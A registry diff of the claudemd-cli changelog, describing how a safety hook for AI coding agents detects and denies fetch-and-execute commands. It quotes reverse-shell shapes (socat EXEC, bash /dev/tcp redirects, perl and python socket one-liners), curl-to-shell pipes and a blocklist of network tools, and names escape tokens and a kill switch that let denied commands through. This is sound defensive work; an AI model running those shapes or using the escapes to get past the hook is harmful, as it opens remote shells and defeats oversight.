claudemd-cli 0.62.2 → 0.64.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +76 -0
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -8,6 +8,82 @@ All notable changes to the `claudemd` plugin. This changelog tracks plugin artif
|
|
|
8
8
|
- **Canonical spec version source**: `spec/CLAUDE.md` top-line title (`# AI-CODING-SPEC vX.Y.Z — Core`) + `spec/CLAUDE-changelog.md` top `##` entry.
|
|
9
9
|
- **Plugin semver vs spec semver** are independent: plugin patch (0.2.0 → 0.2.1) may ship when spec is unchanged (this release); plugin minor (0.1.9 → 0.2.0) ships when spec minor updates (v0.2.0 shipped spec v6.10.0).
|
|
10
10
|
|
|
11
|
+
## [0.64.0] - 2026-07-28
|
|
12
|
+
|
|
13
|
+
The fetch-execute gate stops being about `curl`. It was two word lists spelled inline — SOURCE `(curl|wget)`, SINK `(sh|bash|zsh|dash|ksh|ash)` — and a full measurement of the class found five families it could not see. They were not five defects; they were two tables that were too narrow, plus three delivery shapes that cannot be written as SOURCE-pipe-SINK at all.
|
|
14
|
+
|
|
15
|
+
**Upgrade note.** This release denies command shapes that previously ran. All of them are "bytes you have not read become code": a fetch or transport piped into a shell **or interpreter**, a shell whose command string is the *output* of a fetch, a socket wired straight to a shell, and interpreter one-liners that open a network connection and execute. Escape is unchanged and singular: put `[allow-curl-sh]` in the command (the deny message prints it and the use is logged as a bypass); whole-hook kill switch `DISABLE_PRE_BASH_SAFETY_HOOK=1`; pin the prior behavior with `npm i claudemd-cli@0.63.0`. The inspect-first path §8 recommends — `curl -o s.sh URL && less s.sh && sh s.sh` — is explicitly still allowed, and is pinned by a corpus row.
|
|
16
|
+
|
|
17
|
+
- **fix (F35): assignment-prefix sinks were allowed.** `curl … | FOO=x bash`, `| env FOO=x bash`, `| sudo FOO=x bash`, `| A=1 B=2 sh`. F34 had closed the option-with-arg form and declared the fetch/sink grammars equal; that sentence was inherited from the pre-F34 comment and never measured, and it was false — the fetch side had stripped assignment prefixes all along, so the two ends of one pipe disagreed about the same tokens. The new corpus rows are **paired across the pipe**, so the equality claim is now pinned by the corpus rather than by a comment.
|
|
18
|
+
- **feat (F36): SOURCE and SINK are named tables, and both got wider.** SOURCE adds HTTP fetchers beyond curl/wget (`aria2c` `axel` `httpie` `http` `fetch` `lwp-request` `lwp-download`), raw sockets (`nc` `ncat` `netcat` `socat` `telnet` `openssl`), non-HTTP transports (`scp` `sftp` `rsync` `ftp` `tftp`) and decoders (`base64` `xxd` `gpg`). SINK adds language runtimes (`python` `python3` `perl` `ruby` `node` `php` `lua`, plus `awk -f -`). `cat` is deliberately absent — `cat script.py | python3` is ordinary local work.
|
|
19
|
+
- Interpreters get a **stricter boundary** than shells, and that distinction is the point: `curl … | python3` executes fetched code, while `curl … | python3 -m json.tool` and `curl … | perl -pe 's/x/y/'` are pretty-print and filter idioms where stdin is data. A shared boundary would have denied both.
|
|
20
|
+
- **feat (F37): `sh -c "$(curl …)"`.** The form Homebrew, rustup and nvm publish as their install command — the most copied fetch-execute idiom there is — was allowed while the visually noisier `curl … | sh` denied. Two downstream transforms erase the evidence before the pipe gate runs: `unwrap_indirect` rewrites it to `; $(curl x) ;`, dropping the sink, and `sanitize_cmd` then blanks the quoted payload. Matched on `NORMALIZED_CMD`, anchored on the runner (`-c` / `eval` / `source`), so `echo "$(curl …)"` and `sh -c 'echo $(curl x)'` stay allowed.
|
|
21
|
+
- **feat (F38): transports whose execution is an address, not a pipe.** `socat TCP:h:p EXEC:/bin/bash` needs no `|`, and `bash -i >& /dev/tcp/h/p 0>&1` needs no external binary. socat requires **both** a network address and an `EXEC:`/`SYSTEM:` address, so ordinary port-forwarding cannot match.
|
|
22
|
+
- **feat (F39): interpreter one-liners that open a socket AND execute** — reverse shells (`perl -e 'use Socket;…exec("/bin/sh -i")'`, `python3 -c '…socket…os.dup2…pty.spawn'`) and download-execute (`perl -MLWP::Simple -e 'eval get(…)'`, `python3 -c '…exec(urlopen(u).read())'`). Rare, and one execution is the whole compromise. Three conditions must hold together — an interpreter in command position with a one-liner flag, a **language-level** network primitive, and an execution primitive — which is what keeps it precise instead of a keyword sweep. Verified still allowed: `python3 -c "import socket; print(socket.gethostname())"` (net, no exec), `python3 -c "import subprocess; subprocess.run(['ls'])"` (exec, no net), and `urlretrieve` to a file (a download with no execution).
|
|
23
|
+
- The segment loop's pre-check matches `CURLSH_SRC` directly via `[[ =~ ]]`. The first draft re-spelled the word list as a `case`, which is a silent-bypass generator — a word added to the regex but missing from the copy makes the gate skip the segment it was just taught to catch, with every test still green. shellcheck independently flagged that copy as unwritable-by-hand (`*http*` shadows `*httpie*`, `*nc*` shadows `*ncat*`/`*socat*`, `*ftp*` shadows `*sftp*`/`*tftp*`). A test asserts the copy has not come back.
|
|
24
|
+
- All four patterns share one telemetry bucket (`§8-curl-sh`) and one escape token. They are the same §8 clause reached by different syntax; the REASON line names which shape fired, so the deny stays diagnosable without making users learn four switches.
|
|
25
|
+
- **feat (F40): package runners whose argument is the remote thing.** `npx some-unknown-pkg` and `bunx some-unknown-pkg` denied while `deno run https://…`, `pip install git+https://…`, `pip install https://…whl`, `cargo install --git …`, `go run …@latest`, `nix run github:…` and `bun x some-unknown-pkg` all allowed — one action, blocked in the JS ecosystem and waved through everywhere else. §8's NPX rule names the *class* (fetch-execute unknown origin), so this is a consistency fix, not new coverage.
|
|
26
|
+
- `bun x` is the spaced spelling of `bunx`; it joins the Pattern 2 family and inherits lockfile → local → pinned rather than getting a parallel check. The rest need no resolution at all — the argument's shape is the verdict — so they are a separate, smaller pattern that shares the `§8-npx` bucket and the `[allow-npx-unpinned]` token.
|
|
27
|
+
- Each rule is written so its false-positive twin fails **structurally**, not by exclusion list: `deno run ./main.ts` has no remote specifier (and `--allow-net=https://api` is consumed as a flag, because that URL is a permission, not the program); `cargo install ripgrep` / `--path ./cli` have no `--git`; `go install …@v0.1.12` is pinned, only `@latest|master|main|HEAD` denies; `nix run .#pkg` is not a remote flakeref. The pip rule requires a VCS scheme or an artifact suffix (`.tar.gz`/`.tgz`/`.zip`/`.whl`) rather than any URL — which is what keeps `-i` / `--index-url` / `--extra-index-url` / `--find-links` registry URLs out with no exception list to maintain.
|
|
28
|
+
- **Not included, with the reason recorded**: `uvx TOOL` / `pipx run TOOL`. Their argument is a bare package name, so they need Pattern 2's registry resolution rather than a shape test, and the FP surface is larger (`uvx ruff`, `pipx run black` are everyday). `tasks/audit-2026-07-27-deferred.md §E`.
|
|
29
|
+
### Bypass telemetry says what it suppressed
|
|
30
|
+
|
|
31
|
+
- **fix: `pre-bash-safety` escape-hatch rows carry their SUBJECT.** All five emission sites logged a bare `{"token":"…"}` — that the hatch was used, never what it suppressed — so after 3 months and 7927 rows the question "should this gate keep its current shape?" was unanswerable. The two sibling hooks already record theirs (`banned-vocab` logs `matched`, `memory-read-check` logs `bypass_reason`); §8 was the one that never did (`feedback_bypass_telemetry_needs_the_term`). Now: `§8-rm-rf-var` → `vars` (variable NAMES, max 5), `§8-npx` → `runner` or `rule`, `§8-curl-sh` → `shape` plus `source`→`sink` words.
|
|
32
|
+
- **No URLs or argument values are recorded.** They can carry credentials — §8 forbids sensitive data in logs — and they are not what the question needs. `byBypass()` gains a `bySubject` breakdown so `/claudemd-audit` surfaces it; the existing `byToken`/`byHook` shape is unchanged for current callers.
|
|
33
|
+
- **fix (F41): an escape marker no longer changes the parse.** Bypass flags are read from the raw command, so a marker's effect on the sanitized text was accidental — and with this release's strict interpreter boundaries it stopped being harmless: `curl … | python3` denied while `curl … | python3 [allow-curl-sh]` did not even *trigger*, because a trailing `[` is not the end-of-command the interpreter sink requires. Same visible outcome as a bypass, **no bypass row** — an allow that left no trace, in the release whose telemetry work exists to remove exactly that. Markers are stripped after sanitize; stripping cannot create a false deny, since it only removes tokens whose presence already set the corresponding flag. Corpus rows pin both directions, including that a *wrong* marker still denies.
|
|
34
|
+
- **Evidence**: 51 RED probes against v0.63.0+F35 across the four patterns, all green after. F40 adds 22 RED probes and 23 FP twins, all green after, with **0 verdict changes across the 521 rows that existed before it**. Corpus 439 → 521 rows; differential over all 439 pre-existing rows: **0 verdict changes**. Suite 516 → 617. FP guards cover 20 real-world shapes measured allowed before the change and re-measured allowed after (`nc -zv`, `nc -l > file`, `openssl s_client | openssl x509`, `socat TCP-LISTEN,fork`, `base64 -d > file`, `cat script.py | python3`, `rsync -av ./a/ ./b/`, `scp ./f host:/tmp/`, download-then-inspect, and the interpreter filter idioms).
|
|
35
|
+
|
|
36
|
+
- **fix (F35): assignment-prefix sinks were allowed.** `curl … | FOO=x bash`, `| env FOO=x bash`, `| sudo FOO=x bash`, `| A=1 B=2 sh`, `| sudo -u root FOO=x bash`, `| FOO=x /bin/sh`, `| { FOO=x bash; }` — 8 of 9 deny probes RED against v0.63.0. Meanwhile the byte-identical prefix on the FETCH side (`FOO=x curl … | bash`) has denied since the word loop learned to strip assignments, so the two sides of one pipe disagreed about the same tokens.
|
|
37
|
+
- A bare assignment prefix is shell assignment-prefix syntax, not a wrapper argument, so `CURLSH_ASSIGNW` joins the repeated unit as its own alternative rather than extending `CURLSH_WRAPOPT` — covering assignment alone, wrapper-then-assignment, and assignment-then-wrapper in any order.
|
|
38
|
+
- **Evidence**: 8/9 RED pre-fix (the 9th, `FOO=x bash <(curl …)`, already denied — command position, where the fetch-side strip reaches it). Corpus 421 → 439 rows; differential over all 421 pre-existing rows: **0 verdict changes**. Suite 516 → 534. FP guards pin that a shell name in an assignment VALUE is not command position: `| SHELL=bash tee out` stays allowed.
|
|
39
|
+
- The new corpus rows are **paired across the pipe** — each sink-side shape now has its fetch-side twin asserted in the same block. The equality claim is pinned by the corpus instead of by a comment, which is what let the F34 residual sentence ship wrong.
|
|
40
|
+
|
|
41
|
+
## [0.63.0] - 2026-07-28
|
|
42
|
+
|
|
43
|
+
Three items the 2026-07-27 audit recorded as deferred, closed on their merits: one real §8 ALLOW, and two gates whose scope did not reach what they exist to watch. No spec text change (stays v6.24.1).
|
|
44
|
+
|
|
45
|
+
**Upgrade note.** One default behavior changes: `curl … | <wrapper-with-options> <shell>` is now denied where it was allowed. If you intentionally pipe a fetch into a shell through `sudo -u` / `env -i` / `nice -n`, add `[allow-curl-sh]` to the command (recorded as a bypass in the rule-hits log) — the deny message prints this escape, so no action is needed in advance. Kill switch for the whole hook remains `DISABLE_PRE_BASH_SAFETY_HOOK=1`; pin the prior behavior with `npm i claudemd-cli@0.62.2`. Nothing else in this release changes existing behavior — the other fixes widen gate coverage and add an opt-in env knob.
|
|
46
|
+
|
|
47
|
+
### §8: the curl-sh sink side learns the wrapper grammar the fetch side already knew
|
|
48
|
+
|
|
49
|
+
- **fix (F34): `curl … | sudo -u root bash` was allowed.** The pipe-sink was matched by a bare word alternation that consumed the wrapper WORD and nothing else, so any wrapper carrying an option pushed the shell one or two tokens past where the regex looked: `| sudo -u root bash`, `| env -i bash`, `| nice -n 10 bash`, `| stdbuf -oL bash`, `|& sudo -u root bash`, `| { sudo -u root bash; }` — 8 of 9 deny probes were live ALLOWs against v0.62.2. The fetch side has understood option-with-arg wrappers since F24 because it runs the shared `s8_strip_wrappers` word loop; the sink side never got a model. One concept, two implementations, unequal power — the seam shape the audit found recurring, here on the immutable gate.
|
|
50
|
+
- `CURLSH_WRAPOPT` gives the regex the same grammar the word loop has: a flag, optionally followed by ONE bare-word argument. A leading `-flag` is required before a bare word is eaten, so a non-wrapper command word can never be consumed — `curl … | sudo mysql -e …` still finds no sink and stays allowed.
|
|
51
|
+
- **Evidence**: 8/9 RED against the pre-fix hook (the 9th, `sudo -u svc bash <(curl …)`, already denied — there the wrapper sits in command position where the fetch-side strip reaches it, which is the asymmetry in one line). Corpus 405 → 421 rows (+9 deny, +7 FP guards); differential old-vs-new over all 405 pre-existing rows: **0 verdict changes**. Suite 500 → 516 in that file. Remaining sink residual, unchanged and documented: the assignment-argument form (`env FOO=x bash`).
|
|
52
|
+
|
|
53
|
+
### Two gates that could not see their subject
|
|
54
|
+
|
|
55
|
+
- **fix: the real-bash-3.2 parse gate scanned a narrower set than the pattern gate it backs up.** `ci.yml` hand-listed `hooks/*.sh hooks/lib/*.sh tests/lib/*.sh` while `tests/lib/bash32-constructs.sh` covers those plus `tests/`, `tests/hooks/`, `tests/integration/` — so a `$(cat <<EOF …)` in a test suite, the exact construct that gate was written for after v0.58.0, was invisible to it. The scanner now exposes `--list` (49 files, with a floor so an unexpanded glob fails loudly instead of passing silently) and the parse step consumes it. Two gates for one class, one file set.
|
|
56
|
+
- **fix: `SPEC_DRIFT_IGNORE` — a per-file escape for the spec-drift banner.** The watched set is every shipped `spec/*.md`, which includes `OPERATOR.md`, a human runbook a user may legitimately annotate in their own copy. One annotated line meant a banner every session, and the only escape was `DISABLE_SPEC_DRIFT_BANNER=1`, which also stops watching `CLAUDE.md` — the predictable end state of a gate that cries wolf is that it stops watching the files it exists for. The banner now names the per-file switch at the moment it is needed, and the suggested value parses verbatim including the `", "` join (tested).
|
|
57
|
+
|
|
58
|
+
### Test harness
|
|
59
|
+
|
|
60
|
+
- **fix: two suites wrote stderr to a hand-built `/tmp/<name>-$$` path.** Wherever `/tmp` is not writable — an agent sandbox, a hardened image — `mem-audit.test.sh` and `transcript-structure-scan.test.sh` failed 15 assertions with EMPTY stderr, which reads like a hook regression rather than a harness problem. Both now write inside the mktemp sandbox they already create for `$HOME`.
|
|
61
|
+
- New `run-all.sh` section gates the class over every tracked `tests/*.sh`. Controls when added: 15 hits on the two pre-fix files, 0 on the fixed tree.
|
|
62
|
+
|
|
63
|
+
### Found by the independent review (all six confirmed against source, all six fixed)
|
|
64
|
+
|
|
65
|
+
- **`ci.yml`: the parse gate passed silently if `--list` failed.** `for f in $(cmd)` discards the exit status even under `set -e` (control: `bash -c 'set -eu; for f in $(exit 1); do echo body; done; echo REACHED'` prints REACHED), so a `--list` that tripped its own new floor would have parsed zero files and printed "OK". Now assigned to a variable with a count assertion — the floor added in this same change was being defeated by its only consumer.
|
|
66
|
+
- **`bash32-constructs.sh`: the floor guarded `--list` only, not the default scan** — the path `run-all.sh` and the ci.yml pattern step actually call. A gate that guards one of its two entry points is the same defect as one that scans one of two directories. Floor moved into a shared `bash32_checked_scope`; controls: empty tree → both paths FAIL, real tree → both pass, explicit-file path still flags `mapfile`.
|
|
67
|
+
- **`run-all.sh`: the new /tmp gate hard-failed outside a git checkout**, unlike the Shellcheck section 20 lines below it. `tests/` ships in the npm tarball, so `npm test` from an extracted package had no git index. Now SKIP, with FAIL under `CI` — the established shape.
|
|
68
|
+
- **`session-start.test.sh`: the suite under-reported itself.** `TOTAL` stopped its regex at `[0-9]+`, so `11b`/`11c`/`28b`–`28e` collapsed into `11` and `28`: 35 assertions reported as "29/29". Counting `"PASS:` labels including suffixes makes it exact (35/35 verified). This repo quotes those totals as release evidence.
|
|
69
|
+
- **The drift banner's suggested value was not pasteable.** It emitted `SPEC_DRIFT_IGNORE=CLAUDE.md, OPERATOR.md` unquoted; pasted into a shell that assigns the first name and then runs `OPERATOR.md`. The banner now quotes it, and test 28e was rewritten to lift the assignment out of the banner text and eval it — the previous version passed a hand-quoted value, which tested the parser rather than the hint.
|
|
70
|
+
- Floor comment corrected: the scope is 49 files, not "60+".
|
|
71
|
+
|
|
72
|
+
### Found by the independent review (7 findings, all confirmed against source, all fixed)
|
|
73
|
+
|
|
74
|
+
Three of them were defects in this release's own new code, and two were false claims in its own comments — the shape this release exists to stop.
|
|
75
|
+
|
|
76
|
+
- **Quoting the remote argument defeated F40 entirely.** `pip install "git+https://…"`, `go run "…@latest"`, `deno run "https://…"`, `nix run "github:…"` all allowed while their unquoted twins denied — and quoting is the *documented* pip spelling once a URL carries `#egg=` or `[extras]`, so this was the normal way to write it, not evasion. `sanitize_cmd` blanks quoted bodies, which is right for prose and wrong when the quoted thing *is* the argument the rule reads. Quote pairs wrapping a single bare token are now unwrapped before sanitize; pairs containing whitespace, a separator or another quote are not, so no segment boundary can be manufactured out of a commit message.
|
|
77
|
+
- **The reverse-shell transports matched the raw text, so naming them in prose denied.** `git commit -m "block /dev/tcp/1.2.3.4/4444 shells"` and `rg "/dev/tcp/…" tests/` were both blocked — the maintainer could not commit this release with a message describing it. Pattern 3's own header states it uses the sanitized view precisely so prose does not fire; 3c had silently dropped that invariant. They now use a dedicated view that empties quoted bodies but keeps redirects (plain `sanitize_cmd` strips redirects, which swallowed the canonical `bash -i >& /dev/tcp/h/p 0>&1`). Loopback is exempt: `cat < /dev/tcp/localhost/5432` is the ordinary wait-for-port idiom.
|
|
78
|
+
- **The interpreter net+exec conditions were tested independently over the whole command line**, so two commands this corpus itself marks `pass`, joined by `&&`, denied together — and neither primitive had to come from an interpreter at all (a `grep` for the word `urllib` supplied the network token, an `ls /bin/sh` the execution one). The comment above the rule claimed this could not happen. Each candidate is now one extracted interpreter invocation — its flags through the end of its quoted payload, escape-aware — and both primitives must appear inside that one span.
|
|
79
|
+
- **The bypass record logged the wrong sink.** `curl … | bash > out.sh` recorded `sink: "sh"` — from the *filename*. An unanchored search with `tail -1` took the last match anywhere in the segment, and `.sh` is the single most likely token to appear in exactly these commands, so the field this release adds would have been wrong in its commonest case. The sink is now read from the text after the last pipe.
|
|
80
|
+
- **One overridden call could emit two `§8-npx` bypass rows** (Pattern 2 and Pattern 2b both record, and a compound command trips both), inflating the numerator `doctor.js` compares against its >50% bypass:deny demotion threshold — i.e. it would push a healthy gate toward demotion. Now recorded once.
|
|
81
|
+
- **`bySubject` was emitted but never rendered.** The CHANGELOG claimed `/claudemd-audit` surfaces it; the command's own field table and formatting instruction still described only per-token counts. Both updated, including what to do when a token's subjects are all `(no subject)` (pre-v0.64.0 rows — say so rather than infer).
|
|
82
|
+
- Follow-on from the fixes: `REVSH_ONELINER_CMD` became a second spelling of a condition the candidate extraction now expresses, and was deleted rather than silenced; a comment example was reworded after `safety-coverage-audit` correctly read its quoted snippet as a claimed-but-unimplemented clause.
|
|
83
|
+
- **Evidence for the review round**: 23 new corpus rows (12 deny, 11 FP twins) covering every finding, **0 verdict changes across the 575 rows that existed before the review**, suite 671 → 694.
|
|
84
|
+
|
|
85
|
+
**Not fixed, deliberately** (`tasks/audit-2026-07-27-deferred.md`): the CRLF heredoc-terminator item was reopened and closed as **wrong direction** — tolerating `\r` on the terminator line would make the hook blank MORE text than bash treats as body (bash does not terminate `<<EOF` on `EOF\r` either), and the D2 invariant is that a sanitizer change must only ever reduce what it blanks. Current behavior is the safe one.
|
|
86
|
+
|
|
11
87
|
## [0.62.2] - 2026-07-27
|
|
12
88
|
|
|
13
89
|
Second hotfix in the 0.62.0 chain, and the last one: the macOS leg went red on a construct the repo already had a gate for, because that gate could not see the file.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "claudemd-cli",
|
|
3
|
-
"version": "0.
|
|
3
|
+
"version": "0.64.0",
|
|
4
4
|
"description": "Standalone CLI for §10-V banned-vocab + transcript scanning. Companion to the claudemd Claude Code plugin (github.com/sdsrss/claudemd) for use in git pre-commit hooks, GitHub Actions, and other agents.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|